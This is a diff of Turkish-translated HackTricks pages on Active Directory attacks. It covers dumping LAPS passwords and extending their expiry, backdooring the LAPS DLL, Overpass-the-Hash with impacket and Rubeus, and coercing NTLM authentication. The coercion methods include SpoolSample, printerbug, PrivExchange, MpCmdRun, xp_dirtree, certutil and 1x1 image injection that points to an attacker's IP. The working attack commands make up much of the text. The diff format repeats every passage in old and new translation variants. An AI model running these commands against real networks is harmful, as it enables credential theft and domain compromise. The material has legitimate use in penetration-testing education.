Bir **hesap**, bir bilgisayarı bir domaine **katıldığında**, o ana bilgisayar üzerinde `All Extended Rights` alır ve bu hak, **hesaba** **şifreleri okuma** yeteneği verir. Sayım, bir ana bilgisayarda LAPS şifresini okuyabilen bir kullanıcı hesabını gösterebilir. Bu, LAPS şifrelerini okuyabilen **belirli AD kullanıcılarını hedeflememize** yardımcı olabilir.
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -97,16 +100,18 @@ ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Crackmapexec ile LAPS Şifrelerinin Sızdırılması**
Eğer bir PowerShell erişimi yoksa, bunu uzaktan LDAP aracılığıyla istismar edebilirsiniz.
## **Dumping LAPS Passwords With Crackmapexec**
Eğer bir powershell erişiminiz yoksa, bu yetkiyi LDAP üzerinden uzaktan kötüye kullanabilirsiniz.
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
## **LAPS Kalıcılığı**
Bu, kullanıcının okuyabileceği tüm şifreleri dökecek ve farklı bir kullanıcı ile daha iyi bir yer edinmenizi sağlayacaktır.
## **LAPS Sürekliliği**
### **Son Kullanma Tarihi**
Yönetici olduktan sonra, şifreleri almak ve bir makinenin şifresini güncellemesini engellemek için son kullanma tarihini geleceğe ayarlamak mümkündür.
Bir kez yönetici olduğunuzda, **şifreleri elde etmek** ve bir makinenin **şifresini güncellemesini engellemek** için **son kullanma tarihini geleceğe ayarlamak** mümkündür.
```powershell
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -116,14 +121,14 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
{% hint style="warning" %}
Şifre hala sıfırlanacak, eğer bir **yönetici** **`Reset-AdmPwdPassword`** komut dosyasını kullanırsa; veya **Politika tarafından gerekliden daha uzun şifre süresine izin verme** LAPS GPO'da etkinleştirilmişse.
Şifre, bir **admin** **`Reset-AdmPwdPassword`** cmdlet'ini kullanırsa veya LAPS GPO'sunda **Şifre süresinin politika gereksinimlerinden daha uzun olmasına izin verme** seçeneği etkinse yine de sıfırlanacaktır.
{% endhint %}
### Arka Kapı
LAPS için orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kod içine (örneğin `Main/AdmPwd.PS/Main.cs` içindeki `Get-AdmPwdPassword` yöntemine) bir arka kapı yerleştirmek mümkündür ve bu şekilde **yeni şifreleri dışarı çıkarabilir veya bir yerde depolayabilir**.
LAPS'ın orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kodda (örneğin `Main/AdmPwd.PS/Main.cs` içindeki `Get-AdmPwdPassword` yönteminde) bir arka kapı koymak mümkündür; bu, bir şekilde **yeni şifreleri dışarı sızdıracak veya bir yere depolayacaktır**.
Ardından, yeni `AdmPwd.PS.dll` dosyasını derleyin ve `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` konumuna yükleyin (ve değişiklik zamanını değiştirin).
Sonra, yeni `AdmPwd.PS.dll` dosyasını derleyin ve bunu `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` konumuna yükleyin (ve değiştirme zamanını değiştirin).
## Referanslar
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
@ -132,14 +137,17 @@ Ardından, yeni `AdmPwd.PS.dll` dosyasını derleyin ve `C:\Tools\admpwd\Main\Ad
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya katkıda bulunun.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Over Pass the Hash/Pass the Key
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR gönderin.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,28 +22,28 @@
## Overpass The Hash/Pass The Key (PTK)
**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelikli olduğu ortamlar için tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep ederek ağ içindeki kaynaklara izinsiz erişim sağlar.
**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelik kazandığı ortamlara yönelik olarak tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep eder ve bu sayede bir ağ içindeki kaynaklara yetkisiz erişim sağlar.
Bu saldırıyı gerçekleştirmek için ilk adım, hedeflenen kullanıcının hesabının NTLM hash'ini veya şifresini elde etmeyi içerir. Bu bilgiyi elde ettikten sonra, hesabın bir Ticket Granting Ticket (TGT) alınabilir, bu da saldırganın kullanıcının izinleri olduğu hizmetlere veya makineleri erişmesine olanak tanır.
Bu saldırıyı gerçekleştirmek için ilk adım, hedef kullanıcının hesabının NTLM hash'ini veya şifresini edinmektir. Bu bilgiyi güvence altına aldıktan sonra, hesabın bir Ticket Granting Ticket (TGT) alması sağlanabilir ve bu da saldırganın kullanıcının izinleri olan hizmetlere veya makinelere erişmesine olanak tanır.
Süreç aşağıdaki komutlarla başlatılabilir:
İşlem, aşağıdaki komutlarla başlatılabilir:
```bash
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```
For scenarios necessitating AES256, the `-aesKey [AES key]` option can be utilized. Moreover, the acquired ticket might be employed with various tools, including smbexec.py or wmiexec.py, broadening the scope of the attack.
AES256 gerektiren senaryolar için `-aesKey [AES key]` seçeneği kullanılabilir. Ayrıca, elde edilen bilet, smbexec.py veya wmiexec.py gibi çeşitli araçlarla kullanılabilir ve saldırının kapsamını genişletebilir.
Encountered issues such as _PyAsn1Error_ or _KDC cannot find the name_ are typically resolved by updating the Impacket library or using the hostname instead of the IP address, ensuring compatibility with the Kerberos KDC.
_PyAsn1Error_ veya _KDC cannot find the name_ gibi karşılaşılan sorunlar genellikle Impacket kütüphanesinin güncellenmesi veya IP adresi yerine ana bilgisayar adının kullanılmasıyla çözülür, bu da Kerberos KDC ile uyumluluğu sağlar.
An alternative command sequence using Rubeus.exe demonstrates another facet of this technique:
Rubeus.exe kullanarak alternatif bir komut dizisi, bu tekniğin başka bir yönünü göstermektedir:
```bash
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
Bu yöntem, **Anahtarı Geçir** yaklaşımını yansıtır ve doğrudan kimlik doğrulama amaçları için biletin ele geçirilmesine ve kullanılmasına odaklanır. Bir TGT isteğinin başlatılmasının, varsayılan olarak RC4-HMAC kullanımını belirten `4768: Bir Kerberos kimlik doğrulama bileti (TGT) istendi` olayını tetiklediğine dikkat etmek önemlidir, ancak modern Windows sistemleri AES256'yı tercih eder.
Bu yöntem, kimlik doğrulama amaçları için bileti doğrudan ele geçirme ve kullanma odaklı **Pass the Key** yaklaşımını yansıtır. Bir TGT isteğinin başlatılmasının, varsayılan olarak RC4-HMAC kullanımını belirten `4768: A Kerberos authentication ticket (TGT) was requested` olayını tetiklediğini belirtmek önemlidir; ancak modern Windows sistemleri AES256'yı tercih etmektedir.
Operasyonel güvenliğe uyum sağlamak ve AES256'yı kullanmak için aşağıdaki komut uygulanabilir:
Operasyonel güvenliğe uymak ve AES256 kullanmak için aşağıdaki komut uygulanabilir:
```bash
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
```
@ -52,14 +55,17 @@ Operasyonel güvenliğe uyum sağlamak ve AES256'yı kullanmak için aşağıdak
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,57 +1,60 @@
# NTLM Yetkili Kimlik Doğrulamasını Zorlama
# NTLM Ayrıcalıklı Kimlik Doğrulamasını Zorla
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** üzerinden PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## SharpSystemTriggers
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers), 3. taraf bağımlılıklardan kaçınmak için C# kullanarak MIDL derleyicisini kullanan **uzaktan kimlik doğrulama tetikleyicileri** koleksiyonudur.
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers), 3. parti bağımlılıkları önlemek için MIDL derleyicisi kullanarak C# ile kodlanmış **uzaktan kimlik doğrulama tetikleyicileri** **koleksiyonu**dur.
## Spooler Servisi Kötüye Kullanımı
## Spooler Servisi İstismarı
Eğer _**Print Spooler**_ servisi **etkinse**, AD kimlik bilgilerini kullanarak **Domain Controller'ın** yazıcı sunucusuna yeni baskı işleri hakkında bir **güncelleme talep edebilir** ve sadece bunu **bir sisteme bildirmesini söyleyebilirsiniz**.\
Yazıcı, bir sisteme bildirim gönderdiğinde, o **sistemle kimlik doğrulaması yapması** gerekmektedir. Bu nedenle, saldırgan _**Print Spooler**_ servisini bir sisteme karşı kimlik doğrulaması yapması için zorlayabilir ve servis bu kimlik doğrulamasında **bilgisayar hesabını** kullanacaktır.
Eğer _**Print Spooler**_ servisi **etkinse**, bazı bilinen AD kimlik bilgilerini kullanarak Alan Denetleyicisinin yazıcı sunucusundan yeni yazdırma görevleri hakkında bir **güncelleme** **talep** edebilir ve sadece **bildirimi bazı sistemlere göndermesini** isteyebilirsiniz.\
Yazıcı, bildirimi rastgele sistemlere gönderdiğinde, o **sistemle** **kimlik doğrulaması yapması** gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ hizmetinin rastgele bir sistemle kimlik doğrulaması yapmasını sağlayabilir ve hizmet bu kimlik doğrulamasında **bilgisayar hesabını** **kullanacaktır**.
### Etki Alanındaki Windows Sunucularını Bulma
### Alan üzerindeki Windows Sunucularını Bulma
PowerShell kullanarak Windows makinelerinin bir listesini alın. Sunucular genellikle önceliklidir, bu yüzden onlara odaklanalım:
PowerShell kullanarak, Windows kutularının bir listesini alın. Sunucular genellikle önceliklidir, bu yüzden oraya odaklanalım:
```bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
```
### Spooler hizmetinin dinlendiğini bulma
### Spooler hizmetlerini dinleyenleri bulma
Biraz değiştirilmiş @mysmartlogin'in (Vincent Le Toux'un) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) kullanarak, Spooler Hizmetinin dinlenip dinlenmediğini kontrol edin:
Biraz değiştirilmiş @mysmartlogin'in (Vincent Le Toux'un) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) aracını kullanarak, Spooler Hizmetinin dinleyip dinlemediğini kontrol edin:
```bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
```
Ayrıca Linux üzerinde rpcdump.py kullanabilir ve MS-RPRN Protokolünü arayabilirsiniz.
Linux'te rpcdump.py kullanabilir ve MS-RPRN Protokolü'nü arayabilirsiniz.
```bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```
### Bir hizmetten keyfi bir ana bilgisayara kimlik doğrulaması isteyin
### Servisi rastgele bir ana bilgisayara kimlik doğrulaması yapması için isteyin
[**Buradan SpoolSample'ı**](https://github.com/NotMedic/NetNTLMtoSilverTicket) derleyebilirsiniz.
[ **Buradan SpoolSample'ı**](https://github.com/NotMedic/NetNTLMtoSilverTicket)** derleyebilirsiniz.**
```bash
SpoolSample.exe <TARGET> <RESPONDERIP>
```
veya Linux üzerindeyseniz [**3xocyte'in dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) veya [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) kullanabilirsiniz.
ve Linux'taysanız [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) veya [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) kullanın
```bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Sınırsız Delege ile Birleştirme
### Unconstrained Delegation ile Birleştirme
Bir saldırganın zaten [Sınırsız Delege](unconstrained-delegation.md) ile bir bilgisayarı ele geçirmiş olması durumunda, saldırgan **yazıcının bu bilgisayara kimlik doğrulaması yapmasını sağlayabilir**. Sınırsız delege nedeniyle, **yazıcının bilgisayar hesabının TGT'si**, sınırsız delegeye sahip olan bilgisayarın belleğinde **kaydedilecektir**. Saldırgan zaten bu ana bilgisayarı ele geçirdiği için, bu biletin **alınabilir** ve bunu istismar edebilir ([Bileti Geçir](pass-the-ticket.md)).
Eğer bir saldırgan [Unconstrained Delegation](unconstrained-delegation.md) ile zaten bir bilgisayarı ele geçirmişse, saldırgan **yazıcının bu bilgisayara kimlik doğrulaması yapmasını sağlayabilir**. Unconstrained delegation nedeniyle, **yazıcının bilgisayar hesabının TGT'si** unconstrained delegation ile bilgisayarın **belleğinde** **saklanacaktır**. Saldırgan bu hostu zaten ele geçirdiği için, **bu bileti alabilecek** ve bunu kötüye kullanabilecektir ([Pass the Ticket](pass-the-ticket.md)).
## RCP Zorla Kimlik Doğrulama
@ -59,61 +62,62 @@ Bir saldırganın zaten [Sınırsız Delege](unconstrained-delegation.md) ile bi
## PrivExchange
`PrivExchange` saldırısı, **Exchange Sunucusu `PushSubscription` özelliğinde** bulunan bir hata sonucunda ortaya çıkar. Bu özellik, Exchange sunucusunun, bir posta kutusu olan herhangi bir etki alanı kullanıcısının, HTTP üzerinden herhangi bir istemci tarafından sağlanan ana bilgisayara kimlik doğrulaması yapmasına zorlanmasına olanak tanır.
`PrivExchange` saldırısı, **Exchange Server `PushSubscription` özelliğinde** bulunan bir hatanın sonucudur. Bu özellik, Exchange sunucusunun, bir posta kutusuna sahip herhangi bir alan kullanıcısı tarafından HTTP üzerinden herhangi bir istemci sağlanan hosta kimlik doğrulaması yapmaya zorlanmasını sağlar.
Varsayılan olarak, **Exchange hizmeti SYSTEM olarak çalışır** ve aşırı yetkilere sahiptir (özellikle, **2019 Öncesi Kumulatif Güncelleme'de etki alanı üzerinde WriteDacl yetkilerine sahiptir**). Bu hata, **bilgiyi LDAP'ye iletmek ve ardından etki alanı NTDS veritabanını çıkarmak** için istismar edilebilir. LDAP'ye iletim mümkün olmadığında, bu hata yine de etki alanı içindeki diğer ana bilgisayarlara iletim ve kimlik doğrulaması yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde istismar edilmesi, herhangi bir kimlik doğrulanmış etki alanı kullanıcı hesabıyla hemen Etki Alanı Yöneticisi erişimi sağlar.
Varsayılan olarak, **Exchange servisi SYSTEM olarak çalışır** ve aşırı ayrıcalıklar verilmiştir (özellikle, **2019'dan önceki Kümülatif Güncelleme üzerinde WriteDacl ayrıcalıkları vardır**). Bu hata, **LDAP'ye bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için sömürülebilir. LDAP'ye iletim mümkün olmadığında bile, bu hata, alan içindeki diğer hostlara iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde sömürülmesi, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Domain Admin'e anında erişim sağlar.
## Windows İçinde
Eğer zaten Windows makinesinin içindeyseniz, Windows'u ayrıcalıklı hesapları kullanarak bir sunucuya bağlamak için aşağıdaki komutu kullanabilirsiniz:
Eğer zaten Windows makinesinin içindeyseniz, Windows'u ayrıcalıklı hesaplarla bir sunucuya bağlanmaya zorlayabilirsiniz:
### Defender MpCmdRun
```bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
```
### MSSQL
MSSQL, Microsoft SQL Server'ın kısaltmasıdır. Bu, Microsoft tarafından geliştirilen ve yaygın olarak kullanılan bir ilişkisel veritabanı yönetim sistemidir. MSSQL, Windows tabanlı sistemlerde çalışır ve birçok farklı uygulama ve web sitesinde veritabanı yönetimi için kullanılır. MSSQL, güçlü bir veritabanı motoruna sahiptir ve geniş bir özellik seti sunar, bu nedenle birçok kuruluş tarafından tercih edilir.
```sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
```
Veya bu başka bir teknik kullanılabilir: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
### Certutil
Certutil.exe lolbin'i (Microsoft imzalı ikili dosya) kullanarak NTLM kimlik doğrulamasını zorlamak mümkündür:
certutil.exe lolbin (Microsoft imzalı ikili) kullanarak NTLM kimlik doğrulamasını zorlamak mümkündür:
```bash
certutil.exe -syncwithWU \\127.0.0.1\share
```
## HTML enjeksiyonu
### E-posta aracılığıyla
### E-posta ile
Eğer hedeflediğiniz makineye giriş yapan kullanıcının **e-posta adresini** biliyorsanız, sadece ona bir **1x1 boyutunda bir görüntü içeren e-posta** gönderebilirsiniz. Böylece, e-posta içerisine HTML enjeksiyonu yaparak, kullanıcının tarayıcısında istediğiniz kodu çalıştırabilirsiniz.
Eğer ele geçirmek istediğiniz bir makineye giriş yapan kullanıcının **e-posta adresini** biliyorsanız, ona **1x1 boyutunda bir resim** içeren bir **e-posta** gönderebilirsiniz.
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
ve onu açtığında kimlik doğrulama yapmaya çalışacak.
ve açtığında, kimlik doğrulamaya çalışacaktır.
### MitM
Bir bilgisayara MitM saldırısı gerçekleştirebilir ve bir sayfaya HTML enjekte edebilirseniz, aşağıdaki gibi bir resim enjekte etmeyi deneyebilirsiniz:
Eğer bir bilgisayara MitM saldırısı gerçekleştirebilir ve onun görüntüleyeceği bir sayfaya HTML enjekte edebilirseniz, sayfaya aşağıdaki gibi bir resim enjekte etmeyi deneyebilirsiniz:
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
## NTLMv1 Kırma
[NTLMv1 zorluklarını yakalayabiliyorsanız, onları nasıl kıracağınızı buradan okuyun](../ntlm/#ntlmv1-saldirisi).\
_Unutmayın, NTLMv1'i kırmak için Responder zorluğunu "1122334455667788" olarak ayarlamanız gerekmektedir._
Eğer [NTLMv1 zorluklarını yakalayabilirseniz, nasıl kırılacağını buradan okuyun](../ntlm/#ntlmv1-attack).\
_NTLMv1'i kırmak için Responder zorluğunu "1122334455667788" olarak ayarlamanız gerektiğini unutmayın._
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
